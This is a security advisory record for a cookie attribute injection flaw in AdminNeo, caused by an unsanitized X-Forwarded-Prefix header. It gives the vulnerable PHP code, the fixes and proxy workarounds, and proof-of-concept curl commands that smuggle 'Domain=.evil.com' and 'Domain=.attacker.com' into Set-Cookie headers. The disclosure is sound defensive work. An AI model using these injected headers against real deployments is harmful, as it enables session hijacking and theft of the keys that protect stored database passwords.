{"id":"CVE-2026-96631","aliases":["GHSA-79wv-8rh2-9vp2"],"title":"AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers","summary":"AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers","severity":"high","cvss":8.2,"cwe":["CWE-20","CWE-113"],"vendor":"adminneo-org","product":"adminneo-org/adminneo","ecosystem":"composer","affected":["adminneo-org/adminneo >= 4.6.0, < 5.5.1"],"patched":["adminneo-org/adminneo 5.5.1"],"published":"2026-10-30","updated":"2026-10-30","sourceUpdated":"2026-10-30T22:52:48Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-79wv-8rh2-9vp2","references":[{"url":"https://github.com/adminneo-org/adminneo/security/advisories/GHSA-79wv-8rh2-9vp2"},{"url":"https://github.com/adminneo-org/adminneo/commit/aa6f2544a8a65cf5e8317f1a902f74181e136d64"},{"url":"https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1"},{"url":"https://github.com/advisories/GHSA-79wv-8rh2-9vp2"}],"tags":["ghsa","composer"],"ingestedAt":"2026-10-30T23:11:25.787Z","slug":"CVE-2026-96631","body":"## Overview\n\n### Summary\n\nAdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the `X-Forwarded-Prefix` HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including `Domain`, `Path`, `Secure`, and `SameSite` into all `Set-Cookie` response headers emitted by AdminNeo.\n\nThis allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., `Domain=.evil.com`), causing the victim's browser to send AdminNeo's `neo_sid` (session ID) and `neo_key` (database password encryption key) cookies to the attacker's server on subsequent requests.\n\nOriginally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h\n\n### Vulnerable Code\n\n**Root cause 1 - Unsanitized header prepended to `REQUEST_URI`**\n(`admin/include/bootstrap.inc.php`, lines 50–52):\n\n```php\nif ($_SERVER[\"HTTP_X_FORWARDED_PREFIX\"]) {\n\t$_SERVER[\"REQUEST_URI\"] = $_SERVER[\"HTTP_X_FORWARDED_PREFIX\"] . $_SERVER[\"REQUEST_URI\"];\n}\n```\n\nThe client-supplied `X-Forwarded-Prefix` header is concatenated into `REQUEST_URI` with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).\n\n**Root cause 2 - Manual `Set-Cookie `header construction without escaping**\n(`admin/include/functions.inc.php`, lines 416–424):\n\n```php\nfunction cookie(string $name, string $value, int $lifetime = 2592000): void\n{\n\theader(\"Set-Cookie: $name=\" . rawurlencode($value)\n\t\t. ($lifetime ? \"; expires=\" . gmdate(\"D, d M Y H:i:s\", time() + $lifetime) . \" GMT\" : \"\")\n\t\t. \"; path=\" . preg_replace('~\\?.*~', '', $_SERVER[\"REQUEST_URI\"])\n\t\t. (HTTPS ? \"; secure\" : \"\")\n\t\t. \"; HttpOnly; SameSite=lax\",\n\t\tfalse);\n}\n```\n\nThe tainted `REQUEST_URI` is interpolated directly into the `path=` attribute of the `Set-Cookie` header. Since semicolons are not stripped or escaped, any `;`-separated directives injected via `X-Forwarded-Prefix` become valid cookie attributes parsed by the browser.\n\n**Root cause 3 - Session cookie also tainted**\n(`admin/include/bootstrap.inc.php`, line 61):\n\n```php\nsession_set_cookie_params(0, preg_replace('~\\?.*~', '', $_SERVER[\"REQUEST_URI\"]), \"\", HTTPS, true);\n```\n\nThe PHP session cookie (`neo_sid`) path is similarly derived from the tainted `REQUEST_URI`, extending the same vulnerability to the session cookie set by PHP itself.\n\n### Impact\n\n- **Session hijacking:** The `neo_sid` session cookie is sent to the attacker's domain, allowing full session takeover.\n- **Credential theft:** The `neo_key` cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials.\n- **Session fixation:** An attacker can inject arbitrary `Path`, `SameSite`, and `Secure` attributes, manipulating cookie behavior.\n- **Wide applicability:** The `X-Forwarded-Prefix` header was specifically added to support reverse proxy deployments (Traefik `PathPrefixStrip`, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.\n\n### Affected Cookies\n\n|**Cookie**|**Content**|**Risk**|\n|`neo_sid`|PHP session ID|Session hijacking|\n|`neo_key`|Encryption key for stored DB passwords|Credential theft|\n|`neo_settings`|User preferences|Low (information disclosure)|\n\n### Proof of Concept\n\n```shell\n# Normal request with clean Set-Cookie headerss:\ncurl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie\n> Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax\n\n# Malicious request — inject Domain=.evil.com:\ncurl -sI -H \"X-Forwarded-Prefix: /adminneo; Domain=.evil.com\" \\\n  http://localhost:8080/adminneo/index.php | grep -i set-cookie\n> Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax\n#                                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED\n\n# Full attribute override - inject Domain + SameSite=None:\ncurl -sI -H \"X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None\" \\\n  http://localhost:8080/adminneo/index.php | grep -i set-cookie\n> Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...\n```\n\n### Recommended Fix\n\n1. **Sanitize `X-Forwarded-Prefix`:** Strip or reject semicolons, newlines, and other HTTP header metacharacters from the `X-Forwarded-Prefix` value before using it.\n2. **Use `setcookie()` / `setrawcookie()`:** Replace the manual `header(\"Set-Cookie: ...\")` construction in `cookie()` with PHP's built-in `setcookie()` function, which properly escapes attribute values.\n3. **Validate `REQUEST_URI` before cookie use:** After any prefix manipulation, strip characters that are invalid in a cookie `path` attribute (`;`, `,`, whitespace per RFC 6265).\n\n```php\n// Example fix for bootstrap.inc.php:\nif ($_SERVER[\"HTTP_X_FORWARDED_PREFIX\"]) {\n    $prefix = preg_replace('~[;\\r\\n].*~', '', $_SERVER[\"HTTP_X_FORWARDED_PREFIX\"]);\n    $_SERVER[\"REQUEST_URI\"] = $prefix . $_SERVER[\"REQUEST_URI\"];\n}\n```\n\n### Server Based Workaround Via Config\n\nConfigure the reverse proxy to set `X-Forwarded-Prefix` to a static, trusted value rather than forwarding the client-supplied header:\n\n```nginx\n# nginx — secure configuration:\nfastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo;  # static value, not $http_x_forwarded_prefix\n```\n\n```yaml\n# Traefik, use middleware instead of client headers:\nmiddlewares:\n  strip-prefix:\n    stripPrefix:\n      prefixes:\n        - \"/adminneo\"\n```\n\n## Affected packages\n\n- `adminneo-org/adminneo >= 4.6.0, < 5.5.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `adminneo-org/adminneo 5.5.1`","depth":"twilight","depthScore":45,"depthScoreParts":{"impact":45.1,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}